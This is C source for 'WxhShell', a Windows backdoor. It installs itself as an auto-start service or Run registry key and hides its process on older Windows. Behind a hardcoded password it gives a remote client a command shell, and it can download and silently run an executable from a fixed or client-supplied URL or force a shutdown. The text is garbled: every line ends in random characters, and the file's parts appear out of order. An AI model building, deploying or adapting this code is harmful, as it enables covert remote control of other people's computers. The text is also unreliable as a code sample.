    if(Boot(SHUTDOWN)) gH3kX<e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1o>R\g3  
    else { WmUW i{  
    closesocket(wsh); RCXSz  
    ExitThread(0); bq-\'h f<  
    } j*d~h$[k  
    break; <t% A)L%  
    } x35s6  
  // 获取shell u^%')Ncp  
  case 's': { _9|@nUD  
    CmdShell(wsh); bK9~C" k  
    closesocket(wsh); MXk. 2  
    ExitThread(0); X388Gs;e  
    break; 4&hqeY3  
  } ^]&{"!  
  // 退出 [[h)4H{T  
  case 'x': { -i5g 8t'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u 7Y< ~  
    CloseIt(wsh); jSp&mD*xv  
    break; =@=R)C4f*  
    } q- (N Zno  
  // 离开 Z[u,1l.T  
  case 'q': { Gj`Y2X2r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  O'|P|  
    closesocket(wsh); 5dw@g4N %^  
    WSACleanup(); ZM`P~N1?)g  
    exit(1); IA#*T`  
    break; +WN>9V0H  
        } ~PW}sN6ppG  
  } 7u5\#|yL  
  } KGmc*Jwy  
8:?Q(M7  
  // 提示信息 vr;Br-8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IPi<sE  
} cN}A rv  
  } c_$&Uii  
'O2#1SWe  
  return; PJ'lZu8?x  
} m$mY<Q  
9^#gVTGXv  
// shell模块句柄 8pMZ~W;  
int CmdShell(SOCKET sock) wU)5Evp[  
{ &9w%n  
STARTUPINFO si; L_1_y, 0N  
ZeroMemory(&si,sizeof(si)); Po11EZa$a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |4> r"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w+q;dc8  
PROCESS_INFORMATION ProcessInfo; m2q;^o:J  
char cmdline[]="cmd"; fwv T2G4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *R\/#Y|  
  return 0; _7.GzQJ  
} gq_7_Y/  
R5&$h$[/  
// 自身启动模式 dF11Rj,~ 8  
int StartFromService(void) +<WRB\W  
{ ]n]uN~)9  
typedef struct %>9+1lUhV  
{ Y:!/4GF  
  DWORD ExitStatus; hf+/kc!>i  
  DWORD PebBaseAddress; l&??2VO/t  
  DWORD AffinityMask; tZu*Asx7  
  DWORD BasePriority; e(=~K@m  
  ULONG UniqueProcessId; JlDDM %  
  ULONG InheritedFromUniqueProcessId; h3]@M$Y[  
}   PROCESS_BASIC_INFORMATION; a;'E}b{`F  
CpRu*w{  
PROCNTQSIP NtQueryInformationProcess; xe gL!  
g[wP!y%V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YUVc9PV)Ws  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ns|V7|n]  
iPY vePQ  
  HANDLE             hProcess; 9p\Hx#^  
  PROCESS_BASIC_INFORMATION pbi; ;Ma/b=Y  
Pm#x?1rAj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3Da,] w<  
  if(NULL == hInst ) return 0; $dZ>bXUw:  
,;cel^.b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e8ULf~I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1; Wkt9]9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UC+7-y,  
zJuRth)(,  
  if (!NtQueryInformationProcess) return 0; 2 ]DCF  
aFr!PQp4{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3:~l2KIP4  
  if(!hProcess) return 0; v(Bp1~PPZM  
3r-VxP 5n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Cb )=n6  
x?f0Hk+  
  CloseHandle(hProcess); jW1YTQ  
_<%\h?W$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E)80S.V  
if(hProcess==NULL) return 0; @!":(@3[  
AFINm%\/0  
HMODULE hMod; ~.W=  
char procName[255]; }c35FM,  
unsigned long cbNeeded; 18O@ 1M  
z{`6#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M2;%1^  
j(Fa=pi  
  CloseHandle(hProcess); d DIQ+/mmg  
4/HY[FT  
if(strstr(procName,"services")) return 1; // 以服务启动 |.Nr.4Yp  
(0OSGG9  
  return 0; // 注册表启动 ZTh?^}/  
} rq<`(V'2  
@Xq&t}*8  
// 主模块 L,b|Iq  
int StartWxhshell(LPSTR lpCmdLine) %="~\1y  
{ nszpG1U:  
  SOCKET wsl; }>{ L#JW  
BOOL val=TRUE; dysX  
  int port=0; ^ o $W  
  struct sockaddr_in door; ERfd7V<c>  
FE8+E\ U?  
  if(wscfg.ws_autoins) Install(); MtZt8s  
9feD!0A  
port=atoi(lpCmdLine); J0?$v6S  
-GDV[Bg  
if(port<=0) port=wscfg.ws_port; vx\nr8'k  
i O%Zd[  
  WSADATA data; gro7*<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~:/%/-^  
ilDJwZg#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ->&BcPLn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Xzx[C_G  
  door.sin_family = AF_INET; A$9q!Ui#d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x1 ;rb8  
  door.sin_port = htons(port); i(M(OR/4  
q3c*<n g#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @@xO+$6  
closesocket(wsl); ~a'nHy1  
return 1; 84[|qB,ML  
} 0M#N=%31  
5 1o@b  
  if(listen(wsl,2) == INVALID_SOCKET) { vQ:x% =]  
closesocket(wsl); eZ!yPdgy|  
return 1; U9<_6Bsd  
} +Fk4{p  
  Wxhshell(wsl); F3r S6_  
  WSACleanup(); I6K7!+;2  
I$aXnd6)  
return 0; Q?* nuE  
u{g]gA8s  
} -]Q3/"Q  
X!U]`Qh  
// 以NT服务方式启动 /yx=7<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2-8YSHlh  
{ ,(j>)g2Ob  
DWORD   status = 0; J*}VV9H  
  DWORD   specificError = 0xfffffff; &e%{k@  
b%3Q$wIJ6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^D9 /  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z -pyFK\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jv*Dg (  
  serviceStatus.dwWin32ExitCode     = 0; rU; g0'4e  
  serviceStatus.dwServiceSpecificExitCode = 0; S8*^ss>?^R  
  serviceStatus.dwCheckPoint       = 0; AU0$A403  
  serviceStatus.dwWaitHint       = 0; )2) Zz +<  
,"@w>WL<9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VKT@2HjNT`  
  if (hServiceStatusHandle==0) return; jZa25Z00  
@ L\-ZWq  
status = GetLastError(); ])N|[|$  
  if (status!=NO_ERROR) `ifb<T  
{ h^['rmd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XXXl jh6  
    serviceStatus.dwCheckPoint       = 0; HMF8;,<_w?  
    serviceStatus.dwWaitHint       = 0; ;JAK[o8i  
    serviceStatus.dwWin32ExitCode     = status; |$M@09,F"  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~;}\zKQKE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ktN%!Mh\  
    return; USE   
  } 5_v5  
XQK^$Iq]V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P`}$-#DF  
  serviceStatus.dwCheckPoint       = 0; S2Zx &D/_  
  serviceStatus.dwWaitHint       = 0; +VwV5iy[`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~GSpl24W<  
} d "2wO[  
=nLO?qoe  
// 处理NT服务事件,比如:启动、停止 mRwXN*Izw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s5Pq$<  
{ &8Zeq3~  
switch(fdwControl) w"q-#,37j  
{ M#`{>R|  
case SERVICE_CONTROL_STOP: TKK,Y{{  
  serviceStatus.dwWin32ExitCode = 0; ]GcV0&|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &xgZF Sq  
  serviceStatus.dwCheckPoint   = 0; }(m1ql  
  serviceStatus.dwWaitHint     = 0; $?-7OXj<  
  { P2O\!'aEh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xne]Q(B>  
  } _jW>dU^B  
  return; {&E?<D2_&  
case SERVICE_CONTROL_PAUSE: _0w1 kqW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z3clUtC+  
  break; WmNA5;<Q  
case SERVICE_CONTROL_CONTINUE: 8IeI0f"l)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S[Vtq^lU  
  break; b,9@P&=:2  
case SERVICE_CONTROL_INTERROGATE: g- XKP  
  break; i)=m7i  
}; K6-6{vt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S,XKW(5   
} U4=]#=R~o  
2bkJ /u`i  
// 标准应用程序主函数 tbg*_ZQO u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^ s=*J=k  
{ 2_ wv C  
: g 5(HH  
// 获取操作系统版本 ~)_K"h.DY  
OsIsNt=GetOsVer(); emA.{cVr!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rjXnDh]MC  
d<!IGt4Ky  
  // 从命令行安装 {aoM JJq  
  if(strpbrk(lpCmdLine,"iI")) Install(); pKq]X}[^c  
9YAM#LBTWi  
  // 下载执行文件 0',[J  
if(wscfg.ws_downexe) { #vtN+E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ubi~%  
  WinExec(wscfg.ws_filenam,SW_HIDE); +N7"EROc  
} >:A<"wZ  
oooS s&t  
if(!OsIsNt) { dIvy!d2l  
// 如果时win9x,隐藏进程并且设置为注册表启动 wE?CvL  
HideProc();  >9{zQf!  
StartWxhshell(lpCmdLine); #,TELzUVE  
} "w9`cz9a~J  
else qIz}$%!A  
  if(StartFromService()) X{`1:c'x  
  // 以服务方式启动 7|Xe&o<n  
  StartServiceCtrlDispatcher(DispatchTable); C!5I?z&  
else f9a$$nb3`  
  // 普通方式启动 =MxpH+spI  
  StartWxhshell(lpCmdLine); Xo\S9,s{  
fCg@FHS&^  
return 0; 3-iD.IAUm@  
} !j0_ cA  
/9Z!p  
?~Pv3'%d  
@7%.7LK  
=========================================== )nOE 8y/  
TtZ}"MPZ  
jQ|:I7y  
m<3w^mww  
Kr]z]4.d@  
J+|/-{g  
" N}DL(-SQ3  
.;g}%C  
#include <stdio.h> T<6GcI>A  
#include <string.h> x9&p!&*&IT  
#include <windows.h> }vY.EEy!  
#include <winsock2.h> Gc'M[9Mh  
#include <winsvc.h> TM-Fu([LMV  
#include <urlmon.h> kM;o0wi  
V'I T1~  
#pragma comment (lib, "Ws2_32.lib") Yz\ N&0"  
#pragma comment (lib, "urlmon.lib") *{|$FQnR>(  
:v)6gz(p  
#define MAX_USER   100 // 最大客户端连接数 [S0mY["  
#define BUF_SOCK   200 // sock buffer *gDl~qNRoS  
#define KEY_BUFF   255 // 输入 buffer b]i>Bv  
GyK(Vb"h6  
#define REBOOT     0   // 重启 bcn7,ht  
#define SHUTDOWN   1   // 关机 ]Jn2Ra"j  
@vt$MiOi  
#define DEF_PORT   5000 // 监听端口 VE$t%QT  
Kp&3=e;vn{  
#define REG_LEN     16   // 注册表键长度 c0ZaFJ  
#define SVC_LEN     80   // NT服务名长度 dlR_ckp  
r^5jh1  
// 从dll定义API  n}OU Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >vAN(3Idu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y42#n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `[Sl1saZ$S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S/7l/DFb  
+GeWg` \=  
// wxhshell配置信息 )i-gs4[(QN  
struct WSCFG { (:7a&2/M  
  int ws_port;         // 监听端口 :j,}{)5=  
  char ws_passstr[REG_LEN]; // 口令 9yL6W'B!  
  int ws_autoins;       // 安装标记, 1=yes 0=no > c:Zx!  
  char ws_regname[REG_LEN]; // 注册表键名 +?AW>&68y  
  char ws_svcname[REG_LEN]; // 服务名 3AeH7g4<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J^:n* C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9.s,:?5e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dB7ZT0L\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ww`&i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KUKI qAA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R6P\T\~E  
2Wl{Br.  
}; $r15gfne>  
ShGp^xVj  
// default Wxhshell configuration g "*;nHI D  
struct WSCFG wscfg={DEF_PORT, cmDT +$s  
    "xuhuanlingzhe", QNg\4%  
    1, ^Xs]C|=W  
    "Wxhshell", %b?uW] j:  
    "Wxhshell", 6$RpV'xz  
            "WxhShell Service", taDQ65  
    "Wrsky Windows CmdShell Service", .iT4-  
    "Please Input Your Password: ", [K:29N9~4  
  1, 1-o V-K  
  "http://www.wrsky.com/wxhshell.exe", o;J;k_[MX  
  "Wxhshell.exe" 1Es qQz*$u  
    }; n&d/?aJ7a\  
/b%Q[ Ck_  
// 消息定义模块 $[z<oN_Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "~\*If  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,g|2NjUAc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JA6";fl;  
char *msg_ws_ext="\n\rExit."; A[JM4x   
char *msg_ws_end="\n\rQuit."; kEP<[K  
char *msg_ws_boot="\n\rReboot..."; h<NRE0-  
char *msg_ws_poff="\n\rShutdown..."; ,YB1 y)x  
char *msg_ws_down="\n\rSave to ";  zy>}L #  
wS$46M<  
char *msg_ws_err="\n\rErr!"; u)~s4tP4  
char *msg_ws_ok="\n\rOK!"; qm%nIU \*  
A*i_|]Q  
char ExeFile[MAX_PATH]; mH\@QdF  
int nUser = 0; 1;&T^Gdj  
HANDLE handles[MAX_USER]; 1exfCm  
int OsIsNt; CDCC1BG"  
w}`3 d@  
SERVICE_STATUS       serviceStatus; 2w4MJ,Uw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9o_- =>(  
c;!9\1sr  
// 函数声明 fj+O'X  
int Install(void); ~L'nz quF  
int Uninstall(void); 6Xa.0(h  
int DownloadFile(char *sURL, SOCKET wsh); ~gddcTp  
int Boot(int flag); GV6mzD@ <  
void HideProc(void); 1X&B:_  
int GetOsVer(void); ])N%^Qe$U  
int Wxhshell(SOCKET wsl); I%xn,u  
void TalkWithClient(void *cs); 6N3@!xtpi  
int CmdShell(SOCKET sock); UvBnf+,  
int StartFromService(void); ea~i-7  
int StartWxhshell(LPSTR lpCmdLine); o;QZe&  
tlGWl0V?7Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #ZTLrq5b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y x;h  
jVYH;B%%z  
// 数据结构和表定义 @]?R2bI  
SERVICE_TABLE_ENTRY DispatchTable[] = #U@| J}a  
{ a D|Yo  
{wscfg.ws_svcname, NTServiceMain}, YoAg  
{NULL, NULL} qjLo&2)  
}; sFElD ]|  
m[8 @Unt  
// 自我安装 #T"64%dX  
int Install(void) 3cThu43c  
{ q%S8\bt  
  char svExeFile[MAX_PATH]; I?M@5u  
  HKEY key; J"&y |; G  
  strcpy(svExeFile,ExeFile); 5-w:c>  
l%<c6;  
// 如果是win9x系统,修改注册表设为自启动 =P]GPEz_  
if(!OsIsNt) { @vAFfYU9<.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7\%$>< K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `bqzg  
  RegCloseKey(key); #LWg"i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TzrW   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HNMBXXf, B  
  RegCloseKey(key); ) ,Npv3(  
  return 0; 6x4_b  
    } kzi|$Gs<  
  } e1 ^l.>2d6  
} u[EK#%  
else { 5"gL.Ez  
0;cuX@A/a?  
// 如果是NT以上系统,安装为系统服务 r*Z_+a8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V6*?$o  
if (schSCManager!=0) X6kaL3L}  
{ s<VJ`Ur  
  SC_HANDLE schService = CreateService 8\_*1h40s  
  ( jY+Do:#/wO  
  schSCManager, o?\Gm  
  wscfg.ws_svcname, Efr3x{ j  
  wscfg.ws_svcdisp, e=J*Esc@k  
  SERVICE_ALL_ACCESS, b1)\Zi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [*HiI=  
  SERVICE_AUTO_START, OG}KqG!n  
  SERVICE_ERROR_NORMAL, f?-J#x)  
  svExeFile, PbN3;c3  
  NULL, 4(|yD;  
  NULL, vJThU$s-  
  NULL, e~ BJvZ}Q  
  NULL, {(0Id!  
  NULL XtzOFx/  
  ); {aIZFe}B  
  if (schService!=0) qc&jd  
  { mu>] 9ZW  
  CloseServiceHandle(schService); A:)sg!Lt  
  CloseServiceHandle(schSCManager); zq=&4afOE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +7Rt{C,  
  strcat(svExeFile,wscfg.ws_svcname); )Ga8`t"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u\3ZIb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UM\}aq=,  
  RegCloseKey(key); xT=ySa$|>  
  return 0; KBj@V6Q  
    } |D+p$^L  
  } M:(&n@e  
  CloseServiceHandle(schSCManager); CjV7q y  
} D-D #`  
} X+*<B(E  
b"3uD`  
return 1; eA&t %  
} i'iO H|s  
s9 &)Fv-#V  
// 自我卸载 FE}s#n_Pd  
int Uninstall(void) b~9`]+  
{ /+29.1#|  
  HKEY key; )@,N7Y1h  
 +Lhe,  
if(!OsIsNt) { ydyG}XI7V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O!,Ca1N  
  RegDeleteValue(key,wscfg.ws_regname); pJocI_v9  
  RegCloseKey(key); xy vND  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q[jI=$Q)  
  RegDeleteValue(key,wscfg.ws_regname); X98#QR#m  
  RegCloseKey(key); Cy6%S).c  
  return 0; OQ,}/  
  } HoL~j({  
} z6 a,0&;-L  
} WV@X@]U  
else { FvAbh]/4  
'(TmV#3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %rw}u"3T  
if (schSCManager!=0) "R8.P/ 3  
{ y]7%$* <  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (H P z  
  if (schService!=0) P*7S3Td  
  { @Jm.HST#S8  
  if(DeleteService(schService)!=0) { yYM_lobn  
  CloseServiceHandle(schService); R qn WtE  
  CloseServiceHandle(schSCManager); TqXg e{r  
  return 0; PY2[ S[  
  } dD o6fP2  
  CloseServiceHandle(schService); _TrZ'iL}T  
  } 9lKRL'QR  
  CloseServiceHandle(schSCManager); Y}S.37|+^  
} 'V1!&Q6  
} X8i[fk1.R  
WX ,p`>n  
return 1; 3`x sK[  
} [z^Od  
~Po\ En  
// 从指定url下载文件 qg|Ox*_od"  
int DownloadFile(char *sURL, SOCKET wsh) 5`{=`  
{ *q}FV2  
  HRESULT hr; We\KDU\n  
char seps[]= "/"; nT#37v  
char *token; \|blRm;  
char *file; )dqR<)  
char myURL[MAX_PATH]; ?vMK'"  
char myFILE[MAX_PATH]; "oHp.$+K  
/9P^{ OZ;y  
strcpy(myURL,sURL); zf`5>h|  
  token=strtok(myURL,seps); j{)fC]8H  
  while(token!=NULL) 1>hb-OMX  
  { PBCb0[\  
    file=token; kp'b>&9r  
  token=strtok(NULL,seps); )4@M`8  
  } &ycjSBK  
-!@H["  
GetCurrentDirectory(MAX_PATH,myFILE); @51z-T  
strcat(myFILE, "\\"); dr.**fGYde  
strcat(myFILE, file); Rq"VB.ef&{  
  send(wsh,myFILE,strlen(myFILE),0); 93 [rL+l.Y  
send(wsh,"...",3,0); HJc<Gwm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +I*k0"gj6  
  if(hr==S_OK) GahaZ F  
return 0; p@vpd  
else AbL5 !'  
return 1; @<|6{N<  
Tc9&mKVE%(  
} 2XzF k_6H  
>y]?MGk  
// 系统电源模块 2@rp<&s  
int Boot(int flag) _MGNKA6JI  
{ iKohuZr  
  HANDLE hToken; 8b-7]%  
  TOKEN_PRIVILEGES tkp; mp!YNI  
G}182"#4  
  if(OsIsNt) { $[)6H7!U)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~u};XhZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B.V?s,U  
    tkp.PrivilegeCount = 1; tX@ 0:RX%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Jw2B&)k/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yZ?xt'tn  
if(flag==REBOOT) { d#E(~t(^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 65'`uuPx  
  return 0; Lc58lV=  
} i:C.8hmAE  
else {  -PcS(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >Kz_My9  
  return 0; Xq+!eOT  
} mfj4`3:NV  
  } s.f`.o  
  else { ll^Th >  
if(flag==REBOOT) { gmXy>{T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ue,#, 3{m  
  return 0; ~D<7W4c  
} E~'q?LJOB  
else { 98X!uh'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oxUE79  
  return 0; KK@ &q  
} }9{dR4hD  
} K%98;e9  
jVLY!7Z4  
return 1; lF0K=L  
} GwTT+  
3?!G-  
// win9x进程隐藏模块 NYWG#4D  
void HideProc(void) 6XQ*:N/4al  
{ |Dl*w/n  
!Sh^LYqn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k\sc }z8X  
  if ( hKernel != NULL ) xnJjCEZ  
  { j)g_*\tQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C!oS=qK?]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); it(LphB8  
    FreeLibrary(hKernel); ;b, -$A  
  } hubfK~  
Yh}zt H  
return; &p/S>qKu#  
} 3r,1^h  
\4[c}l  
// 获取操作系统版本 ^L>MZA ?  
int GetOsVer(void) ..vSL  
{ jA20c(O  
  OSVERSIONINFO winfo; -9=M9}eDF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CBiU#h q  
  GetVersionEx(&winfo); =gxgS<bde  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;cM8EU^.  
  return 1; <C7M";54-  
  else b:N^Fe  
  return 0; xi '72  
} hgTM5*fD}  
!^c:'I>~  
// 客户端句柄模块 A[sM{i~Z  
int Wxhshell(SOCKET wsl) 8@Egy%_  
{ }*fW!(*  
  SOCKET wsh; ,Y+r<;  
  struct sockaddr_in client;  ET >S  
  DWORD myID; .V5q$5j  
pFpQ\xc9$  
  while(nUser<MAX_USER) YQN]x}:E+4  
{ tIn7(C  
  int nSize=sizeof(client); MgJ%26TZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y3 ({(URU  
  if(wsh==INVALID_SOCKET) return 1; &{-oA_@  
Ze [g0"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mQwk!* U  
if(handles[nUser]==0) yt/20a  
  closesocket(wsh); sD LVYD  
else ua]\xBWx  
  nUser++; 4A\BGD*5  
  } (PCimT=5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); { ()p%#*  
4kW 30Ma  
  return 0; %v?jG(o  
} ]FY?_DGOA  
oj,HJH+  
// 关闭 socket t*Z .e.q+  
void CloseIt(SOCKET wsh) 9%p7B~}E  
{ }<( "0jC  
closesocket(wsh); 1kB'sc3N!  
nUser--; {pcf;1^t  
ExitThread(0); b xk'a,!S  
} ]y1$F Ir+  
2ru*#Z#(  
// 客户端请求句柄 VfL]O8P>  
void TalkWithClient(void *cs) Q{J"`d2  
{ 8]cv&d1f  
2]of SdM  
  SOCKET wsh=(SOCKET)cs; VYl_U?D  
  char pwd[SVC_LEN]; ,\sR;=svK  
  char cmd[KEY_BUFF]; z")3_5Br  
char chr[1]; ]t. WJC %  
int i,j; J)7,&Gc6  
~6@c]:  
  while (nUser < MAX_USER) { jQ.>2-;H9  
)1ZJ  
if(wscfg.ws_passstr) { ;#5-.z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .RQXxw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .G5NGB  
  //ZeroMemory(pwd,KEY_BUFF); pz*/4  
      i=0; N3XVT{ yo  
  while(i<SVC_LEN) { U<ku_(2"#  
x*loACee.  
  // 设置超时 K^z5x#Yj  
  fd_set FdRead; {<- ouD  
  struct timeval TimeOut; n&2=6$*,k  
  FD_ZERO(&FdRead); zumR(<l  
  FD_SET(wsh,&FdRead); [3{:H"t  
  TimeOut.tv_sec=8; ND9 n1WZ&x  
  TimeOut.tv_usec=0; sUyCAKebRr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wS F!Xx0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >j(I[_g  
h8iaJqqvJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z{D$~ ob  
  pwd=chr[0]; Q8}TNJsU  
  if(chr[0]==0xd || chr[0]==0xa) { :|3"H&FWK  
  pwd=0; K^]?@oHO  
  break; 7})!>p )  
  } WL)_8!  
  i++; a>)_ `m  
    } 8T>3@kF  
/H\^l.|vk  
  // 如果是非法用户,关闭 socket 4AJu2Hp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C)&gL=O*$  
} |k7ts&2  
#whO2Mv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h|c:!VN@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +hgaBJy  
gNEzlx8A  
while(1) { {jx#^n&5R  
Sg_-OX@f  
  ZeroMemory(cmd,KEY_BUFF); :N*q;j>  
Sq?6R}q%  
      // 自动支持客户端 telnet标准   m5'__<  
  j=0; <M =W)2D7  
  while(j<KEY_BUFF) { G(7\<x:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hIzPy3  
  cmd[j]=chr[0]; .^9/ 0.g8t  
  if(chr[0]==0xa || chr[0]==0xd) {  hZss  
  cmd[j]=0; eBSn1n  
  break; `F- Dd4B  
  } @ @3)D%h  
  j++; 5x1%oC  
    } Vne. HFXA  
Y00i{/a 8  
  // 下载文件 ys.!S.k+  
  if(strstr(cmd,"http://")) { %`s9yRk9>E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -pU\"$nuxH  
  if(DownloadFile(cmd,wsh)) QAOk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m|#(gX|F  
  else ]mO+<{{4X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g`~lIt [=  
  } !Lg}q!*%>V  
  else { @|\s$L  
~qLhZR\g^  
    switch(cmd[0]) { V)?x*R*T)  
